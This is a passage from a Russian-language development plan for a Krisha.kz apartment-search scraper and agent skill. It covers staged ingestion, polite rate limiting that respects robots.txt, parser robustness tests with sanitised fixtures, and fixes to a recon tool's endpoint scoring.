\u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 HTTP, \u0447\u0442\u043e\u0431\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0435\u0432\u0430\u043b\u0430 \u0432 \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430.\n\n---\n\n## P2 \u2014 \u0434\u0432\u0443\u0445\u044d\u0442\u0430\u043f\u043d\u044b\u0439 ingestion\n\n### Stage A: listing\n\n\u0418\u0437 \u043e\u0434\u043d\u043e\u0439 listing page \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c:\n\n- `window.data.search.ids`;\n- `nbTotal`;\n- current/next page;\n- search parameters;\n- \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0434\u0435\u0448\u0451\u0432\u044b\u0435 card fields \u0438\u0437 SSR/DOM: \u0446\u0435\u043d\u0430, \u043a\u043e\u043c\u043d\u0430\u0442\u044b, \u043f\u043b\u043e\u0449\u0430\u0434\u044c, \u0440\u0430\u0439\u043e\u043d,\n  \u0444\u043e\u0442\u043e-\u0444\u043b\u0430\u0433 \u0438 URL.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c structured data \u043a\u0430\u043a primary source, DOM \u043a\u0430\u043a fallback. \u041d\u0435 \u0434\u0435\u043b\u0430\u0442\u044c\ndetail request \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0434\u0438 \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0435.\n\n### Stage B: hard filters \u0438 cheap rank\n\n\u0414\u043e detail/LLM \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c:\n\n- price min/max;\n- room count;\n- owner/agency;\n- photo required;\n- \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 polygon / bounds;\n- \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 known IDs;\n- \u0434\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044e;\n- \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 \u0431\u043b\u0438\u0437\u043e\u0441\u0442\u0438 \u043a \u0437\u0430\u043f\u0440\u043e\u0441\u0443.\n\n\u0421\u043e\u0445\u0440\u0430\u043d\u0438 server-side filters \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043f\u0435\u0440\u0432\u043e\u0433\u043e polygon \u0432 Krisha query. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0435\u043e\u043c\u0435\u0442\u0440\u0438\u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0435\u0439.\n\n### Stage C: details\n\n\u0412 interactive mode \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c detail \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f `shortlist_limit`, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 5\u20138\n\u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432. \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0432\u0438\u0434\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u043c.\n\n\u0412 monitoring/full-ingest mode \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c details \u0432\u0441\u0435\u0445 \u043d\u043e\u0432\u044b\u0445 IDs, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f:\n\n- \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e known IDs;\n- early stop, \u0435\u0441\u043b\u0438 \u0432\u0441\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430;\n- idempotent upsert;\n- \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0433\u043e \u0441\u0431\u043e\u044f.\n\n### Stage D: AI analysis\n\n\u041f\u043e\u0440\u044f\u0434\u043e\u043a:\n\n1. hard filters;\n2. deterministic score;\n3. text embedding \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043d\u0443\u0436\u0435\u043d semantic ranking;\n4. LLM-\u0430\u043d\u0430\u043b\u0438\u0437 description \u2014 \u0434\u043b\u044f shortlist;\n5. vision/photo-\u0430\u043d\u0430\u043b\u0438\u0437 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f finalists \u0438 \u043f\u043e \u044f\u0432\u043d\u043e\u043c\u0443 \u0444\u043b\u0430\u0433\u0443.\n\n\u041d\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0435\u0441\u044c raw HTML \u0432 \u043c\u043e\u0434\u0435\u043b\u044c. \u041f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u0443\u044e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e\n\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u041a\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e `advert_id + content_hash + model_version`.\n\n---\n\n## P3 \u2014 rate limiting, concurrency \u0438 retry\n\n\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f `Semaphore(10)` \u0438 sleep \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 burst, \u0430\n\u043d\u0435 \u0440\u0430\u0432\u043d\u043e\u043c\u0435\u0440\u043d\u0443\u044e \u0432\u0435\u0436\u043b\u0438\u0432\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443.\n\n\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0449\u0438\u0439 `RateGovernor`:\n\n- shared token bucket / leaky bucket \u043d\u0430 host;\n- default concurrency \u0434\u043b\u044f detail: 3, configurable;\n- default global request rate: \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 1.5\u20132 requests/sec, configurable;\n- \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 jitter \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e;\n- `Retry-After` \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442;\n- bounded exponential backoff \u0441 jitter;\n- \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0434\u043b\u044f transport \u0438 parser validation;\n- circuit breaker \u043f\u0440\u0438 \u0441\u0435\u0440\u0438\u0438 `429/503`;\n- cancellation \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c browser/client/DB resources \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438.\n\n\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c live canary \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\n\u0441\u0430\u0439\u0442\u0430. \u0426\u0435\u043b\u044c \u2014 \u0440\u0430\u0432\u043d\u043e\u043c\u0435\u0440\u043d\u0430\u044f \u043c\u0430\u043b\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430, \u0430 \u043d\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 throughput.\n\n---\n\n## P4 \u2014 parser robustness\n\n\u0421\u0438\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e parser \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c \u0442\u0435\u0441\u0442\u0430\u043c\u0438.\n\n### Listing\n\nPrimary:\n\n- `script#jsdata` / `window.data.search.ids`;\n- total count;\n- pagination data.\n\nFallback:\n\n- \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0438 \u0441 `data-id`;\n- `section.a-list` \u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b;\n- canonical links \u043d\u0430 detail pages.\n\n\u041d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 `.a-search-list`: live layout \u0443\u0436\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0441\n`section.a-list` \u0438 `div.a-card.a-storage-live`.\n\n### Detail\n\n\u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c `jsdata` primary source. DOM \u2014 fallback.\n\n\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c invariants:\n\n- advert ID \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c URL, \u0435\u0441\u043b\u0438 \u043e\u043d \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d;\n- price/rooms/area \u0438\u043c\u0435\u044e\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0435 \u0442\u0438\u043f\u044b \u0438 \u0440\u0430\u0437\u0443\u043c\u043d\u044b\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u044b;\n- detail parser \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u00ab\u0443\u0441\u043f\u0435\u0445\u00bb \u0441 \u043f\u0443\u0441\u0442\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e;\n- listing \u0441 `nbTotal > 0` \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u043c\u043e\u043b\u0447\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c zero IDs;\n- schema drift \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u043d\u0443\u044e typed error \u0438 fallback/alert.\n\n### Fixtures\n\n\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 golden fixtures:\n\n- listing \u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438;\n- listing \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c;\n- detail;\n- \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435;\n- challenge/interstitial;\n- schema drift;\n- non-200 response metadata.\n\nFixtures \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b, \u0438\u043c\u0435\u043d\u0430, \u0442\u043e\u0447\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0442\u043e\u0447\u043d\u044b\u0435 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b.\n\n---\n\n## P5 \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c `apartment-search` skill\n\n\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c `SKILL.md`, \u0447\u0442\u043e\u0431\u044b \u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u044b\u0439 \u043f\u0443\u0442\u044c \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e.\n\nSkill \u0434\u043e\u043b\u0436\u0435\u043d:\n\n1. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0442\u043e\u0447\u043d\u0438\u0442\u044c city, budget, rooms, location constraints \u0438 hard\n   requirements.\n2. \u0412\u044b\u0431\u0440\u0430\u0442\u044c \u0440\u0435\u0436\u0438\u043c:\n   - interactive shortlist;\n   - monitoring/full ingest;\n   - deep analysis.\n3. \u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c server-side filters.\n4. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c listing \u0447\u0435\u0440\u0435\u0437 HTTP-first transport.\n5. \u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c hard filters \u0438 cheap ranking.\n6. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c details \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 IDs.\n7. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c LLM/vision \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 shortlist.\n8. \u0412 \u043e\u0442\u0432\u0435\u0442\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c:\n   - \u0432\u0440\u0435\u043c\u044f \u0441\u0431\u043e\u0440\u0430;\n   - \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a;\n   - \u0441\u0432\u0435\u0436\u0435\u0441\u0442\u044c;\n   - \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e/\u043e\u0442\u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u043d\u043e/\u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043e;\n   - \u0431\u044b\u043b\u0438 \u043b\u0438 browser fallbacks;\n   - \u043a\u0430\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\n- skill \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u044f\u0436\u0451\u043b\u043e\u0433\u043e MCP runtime;\n- \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c MCP \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0439 graceful degradation;\n- \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 MCP \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u043c;\n- \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c `parse-research` \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430;\n- recon \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u043f\u043e\u0441\u043b\u0435 schema drift \u0438\u043b\u0438 \u043f\u043e\n  \u044f\u0432\u043d\u043e\u0439 \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435;\n- \u043d\u0435 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0430\u0441\u0447\u0451\u0442\u043d\u0443\u044e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c/\u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u044e \u0437\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u0443\u044e;\n- \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 detail page;\n- \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u0446\u0435\u043d\u0430 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f.\n\n---\n\n## P6 \u2014 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 `parse-research`\n\nLive recon Krisha.kz \u0437\u0430\u043d\u044f\u043b \u043e\u043a\u043e\u043b\u043e 3 \u043c\u0438\u043d\u0443\u0442 30 \u0441\u0435\u043a\u0443\u043d\u0434, \u043f\u043e\u0441\u0435\u0442\u0438\u043b 30 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u0441\u043e\u0431\u0440\u0430\u043b\n\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432, \u043d\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 `extraction_plan.best_path` \u0432\u044b\u0431\u0440\u0430\u043b\n`xhr_replay` \u0434\u043b\u044f:\n\n```text\n/ms/nps/v2/questions/krisha.kz\n```\n\n\u042d\u0442\u043e NPS survey endpoint, \u0430 \u043d\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u0432\u0430\u0440\u0442\u0438\u0440. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, seed listing page \u0431\u044b\u043b\u0430\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a detail page. \u042d\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 recon \u043d\u0435\u043b\u044c\u0437\u044f\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0431\u0435\u0437 semantic validation.\n\n\u0415\u0441\u043b\u0438 `parse-research` \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0435 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0439 validator \u0432\u043e\u043a\u0440\u0443\u0433\n\u0435\u0433\u043e output \u0438 \u0441\u043e\u0437\u0434\u0430\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e upstream issue/PR. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0439 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u0443\u044e \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0443\n\u0432 Apartment Hunter.\n\n### \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c endpoint scoring\n\n\u0421\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u043d\u0438\u0436\u0430\u0442\u044c score \u0434\u043b\u044f:\n\n- NPS/survey;\n- analytics/telemetry;\n- Sentry/error reporting;\n- ads/tracking;\n- counters/views;\n- health/ping/config endpoints;\n- endpoints \u0431\u0435\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 records \u0438 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439.\n\n\u041f\u043e\u0432\u044b\u0448\u0430\u0442\u044c score \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438:\n\n- response shape \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0435\u0441\u044f apartment-like records;\n- records \u0438\u043c\u0435\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439: id, price, rooms, area, address,\n  coordinates, photos;\n- endpoint \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e \u0441 search filters/pagination;\n- \u043d\u0430\u0439\u0434\u0435\u043d \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u0438;\n- endpoint \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043f\u043e robots/\u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\n\n`robots` disallow \u0434\u043b\u044f `/ms/*` \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0441\u0438\u043b\u044c\u043d\u044b\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u043c.\n\n### \u0412\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c extraction plan\n\nPlan \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0431\u0440\u0430\u0442\u044c XHR \u043a\u0430\u043a `best_path`, \u0435\u0441\u043b\u0438:\n\n- `suggested_schema.fields` \u043f\u0443\u0441\u0442;\n- \u043d\u0435\u0442 record list;\n- \u043d\u0435\u0442 pagination strategy;\n- response \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 IDs, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0445 \u0441 \u0432\u0438\u0434\u0438\u043c\u044b\u043c\u0438 listing cards;\n- endpoint \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a survey/telemetry/counters;\n- \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 endpoint \u043d\u0435 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f.\n\n\u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0435\u0441\u0442\u044c SSR/embedded JSON/DOM plan.\n\n### \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c page classification\n\nListing signals:\n\n- 10+ \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0445\u0441\u044f cards;\n- 10+ advert IDs;\n- \u0446\u0435\u043d\u044b/\u0432\u0430\u043b\u044e\u0442\u0430 \u0432 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0445\u0441\u044f blocks;\n- pagination;\n- `window.data.search`;\n- search form/filter controls.\n\nDetail signals:\n\n- \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d primary advert object;\n- \u043e\u0434\u043d\u043e canonical advert ID;\n- gallery/contact/description \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430.\n\n27 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0445\u0441\u044f cards \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0435\u0440\u0435\u0432\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u0441\u043b\u0430\u0431\u044b\u0435 detail signals.\n\n### \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c recon scope\n\n\u0414\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u0438 apartment search:\n\n- \u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f seed path \u0438 detail links \u0438\u0437 listing;\n- \u043d\u0435 \u0443\u0445\u043e\u0434\u0438\u0442\u044c \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 news/content/help pages;\n- \u0432\u0432\u0435\u0441\u0442\u0438 max page types / max examples per type;\n- \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 extraction candidates \u0441\u0442\u0430\u0431\u0438\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c;\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u043e\u0441\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0439 \u043d\u043e\u0432\u044b\u0439 URL.\n\n\u0426\u0435\u043b\u044c recon \u2014 \u0431\u044b\u0441\u0442\u0440\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0439 extraction path, \u0430 \u043d\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e\n\u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u043e\u043c\u0435\u043d.\n\n---\n\n## P7 \u2014 storage \u0438 AI \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438\n\nDefault core:\n\n- parser;\n- 